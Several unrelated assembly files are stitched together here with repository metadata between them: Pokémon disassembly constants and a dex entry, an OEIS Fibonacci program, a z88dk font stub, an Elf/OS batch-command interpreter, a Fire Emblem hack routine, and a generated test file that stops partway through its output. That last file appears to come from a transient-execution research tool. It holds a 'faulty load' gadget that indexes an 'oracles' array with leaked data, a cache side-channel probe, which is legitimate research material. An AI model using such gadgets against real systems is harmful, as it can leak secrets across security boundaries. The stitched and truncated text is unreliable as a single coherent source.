; wOaksLabSceneID, previously wPowerPlantSceneID
const_def 1
const SCENE_OAKSLAB_INTRO ; 0
const SCENE_OAKSLAB_CANT_LEAVE ; 1
const SCENE_OAKSLAB_NOTHING ; 2
const SCENE_OAKSLAB_POKEDEX
; wViridianCitySceneID, previously wCeruleanGymSceneID
const_def
const SCENE_VIRIDIANCITY_GRAMPS_BLOCK ; 0
const SCENE_VIRIDIANCITY_GYM_LOCKED ; 1
const SCENE_VIRIDIANCITY_NOTHING ; 2
; wRoute25SceneID
const_def
const SCENE_ROUTE25_NOTHING ; 0
const SCENE_ROUTE25_MISTYS_DATE ; 1
;wRoute22SceneID
const_def
const SCENE_ROUTE22_NOTHING
const SCENE_ROUTE22_RED_BATTLE_1
const SCENE_ROUTE22_RED_BATTLE_2
;wBluesHouseSceneID
const_def
const SCENE_BLUESHOUSE_DAISY_TM27 ; 0
const SCENE_BLUESHOUSE_DAISY_POKEGEAR ; 1
const SCENE_BLUESHOUSE_NOTHING ; 2
; wVictoryRoadSceneID
const_def
const SCENE_VICTORYROADGATE_NOTHING ; 1
const SCENE_VICTORYROADGATE_CHECKBADGE ; 2
; wRoute23SceneID
const_def
const SCENE_ROUTE23_CASCADEBADGE_CHECK
const SCENE_ROUTE23_THUNDERBADGE_CHECK
const SCENE_ROUTE23_RAINBOWBADGE_CHECK
const SCENE_ROUTE23_SOULBADGE_CHECK
const SCENE_ROUTE23_MARSHBADGE_CHECK
const SCENE_ROUTE23_VOLCANOBADGE_CHECK
const SCENE_ROUTE23_EARTHBADGE_CHECK
; wLancesRoomSceneID
const_def 1
const SCENE_LANCESROOM_APPROACH_LANCE ; 1
; wPewterCitySceneID
const_def
const SCENE_PEWTERCITY_NO_BADGE ; 0
const SCENE_PEWTERCITY_NOTHING ; 1
; wCherrygroveCitySceneID
const_def
const SCENE_CHERRYGROVECITY_NOTHING ; 0
const SCENE_CHERRYGROVECITY_MEET_RIVAL ; 1
; wRoute4SceneID
const_def
const SCENE_ROUTE4_ROCKETS ; 1
const SCENE_ROUTE4_NOTHING ; 2
; wRoute35NationalParkGateSceneID
const_def
const SCENE_ROUTE35NATIONALPARKGATE_NOTHING ; 0
const SCENE_ROUTE35NATIONALPARKGATE_UNUSED ; 1
const SCENE_ROUTE35NATIONALPARKGATE_LEAVE_CONTEST_EARLY ; 2
; wRoute36SceneID
const_def
const SCENE_ROUTE36_NOTHING ; 0
const SCENE_ROUTE36_SUICUNE ; 1
; wRoute36NationalParkGateSceneID
const_def
const SCENE_ROUTE36NATIONALPARKGATE_NOTHING ; 0
const SCENE_ROUTE36NATIONALPARKGATE_UNUSED ; 1
const SCENE_ROUTE36NATIONALPARKGATE_LEAVE_CONTEST_EARLY ; 2
; wAzaleaTownSceneID
const_def
const SCENE_AZALEATOWN_NOTHING ; 0
const SCENE_AZALEATOWN_RIVAL_BATTLE ; 1
const SCENE_AZALEATOWN_KURT_RETURNS_GS_BALL ; 2
; wGoldenrodGymSceneID
const_def
const SCENE_GOLDENRODGYM_NOTHING ; 0
const SCENE_GOLDENRODGYM_WHITNEY_STOPS_CRYING ; 1
; wRoute42SceneID
const_def
const SCENE_ROUTE42_NOTHING ; 0
const SCENE_ROUTE42_SUICUNE ; 1
; wCianwoodCitySceneID
const_def
const SCENE_CIANWOODCITY_NOTHING ; 0
const SCENE_CIANWOODCITY_SUICUNE_AND_EUSINE ; 1
; wBurnedTower1FSceneID
const_def 1
const SCENE_BURNEDTOWER1F_RIVAL_BATTLE ; 1
const SCENE_BURNEDTOWER1F_NOTHING ; 2
; wRadioTower5FSceneID
const_def 1
const SCENE_RADIOTOWER5F_ROCKET_BOSS ; 1
const SCENE_RADIOTOWER5F_NOTHING ; 2
; wRuinsOfAlphOutsideSceneID
const_def
const SCENE_RUINSOFALPHOUTSIDE_NOTHING ; 0
const SCENE_RUINSOFALPHOUTSIDE_GET_UNOWN_DEX ; 1
; wRuinsOfAlphResearchCenterSceneID
const_def
const SCENE_RUINSOFALPHRESEARCHCENTER_NOTHING ; 0
const SCENE_RUINSOFALPHRESEARCHCENTER_GET_UNOWN_DEX ; 1
; wRuinsOfAlphInnerChamberSceneID
const_def
const SCENE_RUINSOFALPHINNERCHAMBER_NOTHING ; 0
const SCENE_RUINSOFALPHINNERCHAMBER_STRANGE_PRESENCE ; 1
; wMahoganyMart1FSceneID
const_def
const SCENE_MAHOGANYMART1F_NOTHING ; 0
const SCENE_MAHOGANYMART1F_LANCE_UNCOVERS_STAIRS ; 1
; wTeamRocketBaseB2FSceneID
const_def 1
const SCENE_TEAMROCKETBASEB2F_ROCKET_BOSS ; 1
const SCENE_TEAMROCKETBASEB2F_ELECTRODES ; 2
const SCENE_TEAMROCKETBASEB2F_NOTHING ; 3
; wTeamRocketBaseB3FSceneID
const_def 1
const SCENE_TEAMROCKETBASEB3F_RIVAL_ENCOUNTER ; 1
const SCENE_TEAMROCKETBASEB3F_ROCKET_BOSS ; 2
const SCENE_TEAMROCKETBASEB3F_NOTHING ; 3
; wDragonsDenB1FSceneID
const_def
const SCENE_DRAGONSDENB1F_NOTHING ; 0
const SCENE_DRAGONSDENB1F_CLAIR_GIVES_TM ; 1
; wOlivinePortSceneID
const_def 1
const SCENE_OLIVINEPORT_LEAVE_SHIP ; 1
; wVermilionPortSceneID
const_def 1
const SCENE_VERMILIONPORT_LEAVE_SHIP ; 1
; wFastShip1FSceneID
const_def 1
const SCENE_FASTSHIP1F_ENTER_SHIP ; 1
const SCENE_FASTSHIP1F_MEET_GRANDPA ; 2
|
||||
TheStack | 2699b9cdb4c9de50271348457b61275430ea6a85 | Assemblycode:Assembly | {"size": 620, "ext": "asm", "max_stars_repo_path": "oeis/134/A134497.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/134/A134497.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/134/A134497.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 47.6923076923, "max_line_length": 500, "alphanum_fraction": 0.8629032258} | ; A134497: a(n) = Fibonacci(6n+5).
; 5,89,1597,28657,514229,9227465,165580141,2971215073,53316291173,956722026041,17167680177565,308061521170129,5527939700884757,99194853094755497,1779979416004714189,31940434634990099905,573147844013817084101,10284720757613717413913,184551825793033096366333,3311648143516982017180081,59425114757512643212875125,1066340417491710595814572169,19134702400093278081449423917,343358302784187294870275058337,6161314747715278029583501626149,110560307156090817237632754212345,1983924214061919432247806074196061
mul $0,6
mov $1,5
mov $2,8
lpb $0
sub $0,2
add $1,$2
add $2,$1
lpe
mov $0,$1
|
||||
TheStack | 72066d4f22d7c21bf21d45711cfcb5fa1800f810 | Assemblycode:Assembly | {"size": 256, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_bbc_system.asm", "max_stars_repo_name": "Frodevan/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_bbc_system.asm", "max_issues_repo_name": "Frodevan/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/font/font_8x8/_font_8x8_bbc_system.asm", "max_forks_repo_name": "Frodevan/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 15.0588235294, "max_line_length": 38, "alphanum_fraction": 0.84375} | SECTION rodata_font
SECTION rodata_font_8x8
PUBLIC _font_8x8_bbc_system
PUBLIC _font_8x8_bbc_system_end
_font_8x8_bbc_system:
IF __CPU_GBZ80__
INCLUDE "target/gb/fonts/lower.asm"
ENDIF
BINARY "font_8x8_bbc_system.bin"
_font_8x8_bbc_system_end:
|
||||
TheStack | 19a5b75de1ffeac147154cacdff6d1c313f47267 | Assemblycode:Assembly | {"size": 13940, "ext": "asm", "max_stars_repo_path": "src/file/cmd.asm", "max_stars_repo_name": "fourstix/Elfos-utils", "max_stars_repo_stars_event_min_datetime": "2021-04-23T20:37:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-09T00:12:04.000Z", "max_issues_repo_path": "src/file/cmd.asm", "max_issues_repo_name": "fourstix/Elfos-utils", "max_issues_repo_issues_event_min_datetime": "2021-04-04T18:43:57.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-08T23:33:13.000Z", "max_forks_repo_path": "src/file/cmd.asm", "max_forks_repo_name": "fourstix/Elfos-utils", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 3, "max_issues_count": 11, "max_forks_count": null, "avg_line_length": 40.6413994169, "max_line_length": 97, "alphanum_fraction": 0.4815638451} | ; CMD - a simple command file interpreter
; Copyright 2021 by Gaston Williams
;
; Based on the Init v5 program written by David S. Madole
; Original author's copyright statement from Init v5:
;
; This software is copyright 2021 by David S. Madole.
; You have permission to use, modify, copy, and distribute
; this software so long as this copyright notice is retained.
; This software may not be used in commercial applications
; without express written permission from the author.
;
; The author grants a license to Michael H. Riley to use this
; code for any purpose he sees fit, including commercial use,
; and without any need to include the above notice.
; Include bios ad kernel API
#include ops.inc
#include bios.inc
#include kernel.inc
; Define internal kernel AP
d_reapheap: equ 044dh
d_progend: equ 0450h
d_lowmem: equ 0465h
; Program header to start at $5000
org 5000h - 6
dw start
dw end-start
dw start
start: org 5000h
br main
; Build information
db 9+80h ; month
db 23 ; day
dw 2021 ; year
dw 5 ; build
text: db 'Copyright 2021 Gaston Williams',0
; If Input button is pressed when run, skip execution
main: bn4 chk_os
CALL o_setbd ; autobaud is needed in case of init
; otherwise we might get stuck after reboot
lbr goodbye ; exit program
; verify elf/os kernel version before executing
chk_os: LOAD rf, k_ver ; get pointer to kernel version
lda rf ; if major is non-zero we are good
lbnz setup
lda rf ; if major is zero and minor is 4
smi 4 ; or higher we are good
lbdf setup
lbr badkrnl ; show msg and exit
setup: ldi 00h ; set echo flag in r9.0 false initially
plo r9
LOAD rd, fd ; get file descriptor
ldi 0 ; no flags for open
plo r7
; get the file name if one was entered
getparam: lda ra ; move past any spaces
smi ' ' ; d = char - space
lbz getparam
smi '-'-' ' ; was it a dash to indicate option?
lbnz getname ; if not a dash, check for filename
lda ra ; check character after dash
smi 'e' ; only option is e for echo
lbnz badopt ; if not, show bad option message
ldi 0ffh ; set echo flag in r9.0 to true
plo r9
skip_sp: lda ra ; move past any spaces between option and name
smi ' '
lbz skip_sp
getname: dec ra ; move back to non-space character
COPY ra, rf ; copy argument address to rf
loop1: lda rf ; look for first less <= space
smi 33
lbdf loop1
dec rf ; backup to char
ldi 0 ; need proper termination
str rf
COPY ra, rf ; back to beginning of name
ldn rf ; get byte from argument
lbnz openfile ; jump if filename given
; othrewise use default name instead
usedeflt: LOAD ra, default
COPY ra, rf ; remember start of name
; Open file for input and read data
openfile: CALL o_open ; open file
lbdf notfound
LOAD rf, buffer ; pointer to data buffer
LOAD rc, 2048 ; file length to read
CALL o_read ; read from file
CALL o_close ; close file when done
; Set the allocation low memory value to $6000 to prevent
; programs from allocating down to the loader buffer.
LOAD rd, d_lowmem ; Point RD to lowmem location in kernel
ldi 60h ; load lowmem with floor of $6000
str rd ; Elf/OS will not allocate a block
inc rd ; of memory below this floor value
ldi 00h
str rd
; We need to intercept the kernel o_wrmboot d_progend return vector
; because that is the recommended way for programs to return to
; Elf/OS, and apparently many do so. So we save what's there now,
; replace it with our own handler, then restore later.
LOAD rd, d_progend ; pointer to o_wrmboot return return vector
inc rd ; skip lbr instruction
LOAD rf, warmretn ; pointer to save o_wrmboot return vector
ldn rd ; save o_wrmboot return vector high byte
str rf
ldi execgood.1 ; replace o_wrmboot return vector high byte
str rd
inc rd ; switch to low bytes
inc rf
ldn rd ; save o_wrmboot return vector low byte
str rf
ldi execgood.0 ; replace o_wrmboot return vector low byte
str rd
; Now process the input file which has been read into memory
; one line at a time, executing each line as a command line
; including any arguments provided. This looks in the current
; directory and then in bin directory if not found.
LOAD rf, buffer ; reset buffer to beginning of input
ghi rc ; has the length of data to process,
adi 1 ; adjust it so that we can just test
phi rc ; the high byte for end of input
; From here is where we repeatedly loop back for input lines and
; process each as a command line.
getline: dec rc ; if at end of input, then quit
ghi rc
lbz endfile
lda rf ; otherwise, skip any whitespace
smi '!' ; leading the command line
lbnf getline
inc rc ; back up to first non-whitespace
dec rf ; characters of command
ghi rf ; make two copies of pointer to
phi ra ; command line
phi rb
glo rf
plo ra
plo rb
scanline: dec rc ; if at end of input, then quit
ghi rc
lbz endfile
lda ra ; otherwise, skip to first control
smi ' ' ; characters after command
lbdf scanline
dec ra ; back up to first control character
ldi 0 ; and overwrite with zero byte, then
str ra ; advance again
inc ra
; check for echo
glo r9 ; check echo flag
lbz noecho
CALL o_msg ; rf already points to command string
LOAD rf, crlf ; go to next line after command
CALL o_msg
noecho: LOAD rd, warmretn ; pointer to save registers
; in area below warmretn
dec rd ; point to top of inp_stck
sex rd ; set stack pointer to local stack
PUSH ra ; save pointer to next input to process
PUSH rc ; as well as length of input remaining
; since executing the program may wipe
; out all register contents as o_exec
; does not preserve register values as
; most elf/os calls do
glo r9 ; save flag byte in stack
stxd
sex r2 ; set stack pointer back to system stack
LOAD rd, filepath ; make a copy of the command line
strcpy: lda rb ; the copy is needed not just to prepend
str rd ; /bin/ but also because o_exec modifies
inc rd ; the string it is passed in-place so
lbnz strcpy ; we can't reuse it
CALL o_exec ; try executing the plain command line
lbnf execgood
LOAD rf, binpath ; if unsuccessful, reset pointer to the
; copy with /bin/ prepended
CALL o_exec ; and then try that one
lbdf execfail
; If the executed program ends with lbr o_wrmboot instead of sep sret
; then control will also come here.
execgood: LOAD rf, crlf ; if exec is succesful, output a blank
CALL o_msg ; line to separate output
execfail: CALL d_reapheap
LOAD rd, inp_stck ; pointer to restore registers
sex rd ; set stack to point to local stack
; No pre-increment because the stack pointer
ldx ; points to data byte at bottom of stack
plo r9 ; restore flag byte in r9.0
POP rc ; restore the length of the input
POP rf ; and retore the pointer to the input
; note it is put into rf which
; is copied to ra later
sex r2 ; set the stack back to system stack
lbr getline ; go find next line to process
; Before we exit, we need to restore the original value of
; o_wrmboot which we replaced earlier to point to our own
; return handling code.
endfile: LOAD rd, d_progend ; pointer to o_wrmboot return vector
inc rd ; skip lbr instruction
LOAD rf, warmretn ; point to saved local copy of original
; o_wrmboot return vector
lda rf ; restore saved o_wrmboot return vector
str rd
inc rd
ldn rf
str rd
lbr goodbye ; exit program
; line separator
crlf: db 13,10,0
; Error handling follows, mostly these just output a message and
; exit, but readfail also closes the input file first since it
; would be open at that point.
badkrnl: LOAD rf, krnlmsg ; if unable to open input file
lbr failmsg
badopt: LOAD rf, usagemsg ; if unable to open input file
lbr failmsg
notfound: LOAD rf, openmsg ; if unable to open input file
lbr failmsg
readfail: CALL o_close ; if read on input file fails
LOAD rf, readmsg
failmsg: CALL o_msg ; output the message and return
; exit point for program
goodbye: lbr o_wrmboot ; return to Elf/OS
; Error messages
krnlmsg: db 'Requires Elf/OS v0.4.0 or higher',13,10,0
openmsg: db 'File not found',13,10,0
readmsg: db 'Read file failed',13,10,0
usagemsg: db 'Usage: cmd [-e] [filename, default = start.cmd]',13,10
db 'Run commands from filename, or start.cmd if not specified',13,10
db 'Option -e will echo commands before they are executed.',13,10,0
; Default file name
default: db 'start.cmd',0
; Include file descriptor in program image so it is initialized.
fd: db 0,0,0,0
dw dta
db 0,0
db 0
db 0,0,0,0
dw 0,0
db 0,0,0,0
; This is used to prefix a copy of the path to pass to exec
; a second time if the first time fails to find the command in
; the current directory.
binpath: db '/bin/' ; needs to be immediately prior to filepath
end: ; These buffers are not included in the executable image but will
; will be in memory immediately following the loaded image.
filepath: ds 0 ; overlay over dta, not used at same time
dta: ds 512-5-2 ; likewise, overlay dta and next two variables
inp_stck: ds 5 ; local stack area for input count and pointer while execing
warmretn: ds 2 ; place to save the o_wrmboot return vector
buffer: ds 2048 ; load the input file to memory here
pgmtop: ds 0 ; highest location in program
|
||||
TheStack | 0902f45ceda625ec66c70c71d7df40211be82876 | Assemblycode:Assembly | {"size": 727, "ext": "asm", "max_stars_repo_path": "GaidenMagic/MagicUMCommandHover.asm", "max_stars_repo_name": "HyperGammaSpaces/FE8GaidenMagic", "max_stars_repo_stars_event_min_datetime": "2020-06-04T11:36:50.000Z", "max_stars_repo_stars_event_max_datetime": "2020-06-04T11:36:50.000Z", "max_issues_repo_path": "GaidenMagic/MagicUMCommandHover.asm", "max_issues_repo_name": "HyperGammaSpaces/FE8GaidenMagic", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "GaidenMagic/MagicUMCommandHover.asm", "max_forks_repo_name": "HyperGammaSpaces/FE8GaidenMagic", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 16.5227272727, "max_line_length": 57, "alphanum_fraction": 0.7235213205} | .thumb
.macro blh to, reg=r6
ldr \reg, =\to
mov lr, \reg
.short 0xf800
.endm
.equ ClearMapWith, 0x080197E4
.equ GetUnitRangeMask, 0x080171E8
.equ FillRangeByRangeMask, 0x0801B460
.equ DisplayMoveRangeGraphics, 0x0801DA98
push {r4, r5, r6, lr}
@place this before any func calls
ldr r6, =0x0203F082 @marking this as using spell menu
mov r0, #0x1
strb r0, [r6]
ldr r0, =0x0202E4E0
ldr r0, [r0]
mov r5, #0x1
neg r5, r5
mov r1, r5
blh ClearMapWith
ldr r0, =0x0202E4E4
ldr r0, [r0]
mov r1, #0x0
blh ClearMapWith
ldr r4, =0x03004E50
ldr r0, [r4]
mov r1, r5
blh GetUnitRangeMask
mov r1, r0
ldr r0, [r4]
blh FillRangeByRangeMask
mov r0, #0x3
blh DisplayMoveRangeGraphics
mov r0, #0x0
Exit:
pop {r4, r5, r6}
pop {r1}
bx r1 |
||||
TheStack | 3f4a1326db9b8146aa856b4a1ab5148843e94ee8 | Assemblycode:Assembly | {"size": 202, "ext": "asm", "max_stars_repo_path": "data/pokemon/dex_entries/kakuna.asm", "max_stars_repo_name": "Dev727/ancientplatinum", "max_stars_repo_stars_event_min_datetime": "2019-11-08T07:19:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-12-20T10:17:54.000Z", "max_issues_repo_path": "data/pokemon/dex_entries/kakuna.asm", "max_issues_repo_name": "Dev727/ancientplatinum", "max_issues_repo_issues_event_min_datetime": "2020-01-11T17:00:40.000Z", "max_issues_repo_issues_event_max_datetime": "2021-09-14T01:27:38.000Z", "max_forks_repo_path": "data/pokemon/dex_entries/kakuna.asm", "max_forks_repo_name": "Dev727/ancientplatinum", "max_forks_repo_forks_event_min_datetime": "2020-05-28T17:31:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-07T20:49:35.000Z"} | {"max_stars_count": 28, "max_issues_count": 13, "max_forks_count": 22, "avg_line_length": 18.3636363636, "max_line_length": 29, "alphanum_fraction": 0.6782178218} | db "COCOON@" ; species name
dw 200, 220 ; height, weight
db "Nearly incapable"
next "of movement, it"
next "leans against"
page "stout trees while"
next "waiting for its"
next "evolution.@"
|
||||
TheStack | 5102b27f769ea29e07029adbe8d08e47f7c2eb48 | Assemblycode:Assembly | {"size": 8256, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1777.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1777.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_1777.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 34.1157024793, "max_line_length": 2999, "alphanum_fraction": 0.6598837209} | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x13584, %r9
nop
nop
nop
nop
nop
and $13077, %rax
mov (%r9), %r14
inc %r8
lea addresses_WC_ht+0x105c4, %rsi
lea addresses_normal_ht+0x1d1c4, %rdi
nop
nop
nop
nop
add $42655, %rdx
mov $101, %rcx
rep movsl
nop
cmp $56159, %r9
lea addresses_normal_ht+0x8238, %rsi
lea addresses_normal_ht+0x39b, %rdi
nop
nop
nop
sub %r14, %r14
mov $114, %rcx
rep movsl
nop
add $3092, %rdi
lea addresses_A_ht+0x15804, %rcx
nop
nop
cmp $18257, %r14
mov $0x6162636465666768, %r8
movq %r8, %xmm4
movups %xmm4, (%rcx)
nop
add $61978, %rax
lea addresses_D_ht+0xa3f8, %rcx
clflush (%rcx)
nop
nop
nop
cmp $61080, %rax
vmovups (%rcx), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %rsi
nop
add $18534, %rcx
lea addresses_WT_ht+0x1b1c4, %rsi
lea addresses_UC_ht+0x1d1ac, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $41, %rcx
rep movsl
nop
nop
nop
nop
nop
sub %rcx, %rcx
lea addresses_normal_ht+0x9dc4, %rax
nop
nop
nop
nop
nop
cmp $8864, %r14
mov $0x6162636465666768, %rdi
movq %rdi, %xmm7
movups %xmm7, (%rax)
cmp $22517, %rdx
lea addresses_WC_ht+0x44b9, %rsi
lea addresses_UC_ht+0x157d2, %rdi
inc %r8
mov $77, %rcx
rep movsl
nop
sub %r14, %r14
lea addresses_WT_ht+0xc1c4, %r8
nop
nop
nop
nop
nop
inc %rdi
and $0xffffffffffffffc0, %r8
movntdqa (%r8), %xmm0
vpextrq $0, %xmm0, %rsi
nop
nop
sub $64980, %rsi
lea addresses_A_ht+0xc5c4, %rsi
lea addresses_D_ht+0x19c4, %rdi
nop
nop
nop
nop
nop
add %r14, %r14
mov $73, %rcx
rep movsq
nop
nop
nop
add %r9, %r9
lea addresses_UC_ht+0xf1c4, %r9
nop
cmp $58326, %r14
movl $0x61626364, (%r9)
nop
nop
mfence
lea addresses_A_ht+0x11b44, %rax
nop
nop
nop
nop
cmp %r8, %r8
movb (%rax), %cl
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x15afc, %rsi
lea addresses_A_ht+0x1e9d8, %rdi
xor %r14, %r14
mov $5, %rcx
rep movsw
nop
nop
nop
nop
inc %r8
lea addresses_A_ht+0x2cf0, %rcx
dec %r8
and $0xffffffffffffffc0, %rcx
vmovaps (%rcx), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $1, %xmm3, %rdx
nop
xor $37191, %r14
lea addresses_A_ht+0xe844, %rsi
lea addresses_normal_ht+0xf50c, %rdi
nop
and %r9, %r9
mov $60, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $23839, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %rax
push %rcx
push %rdx
push %rsi
// Store
lea addresses_D+0xc204, %r12
xor %rdx, %rdx
movw $0x5152, (%r12)
nop
nop
nop
nop
nop
cmp $14559, %r14
// Faulty Load
lea addresses_UC+0x1b9c4, %rcx
inc %rax
movups (%rcx), %xmm0
vpextrq $0, %xmm0, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rcx
pop %rax
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 6, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 7, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 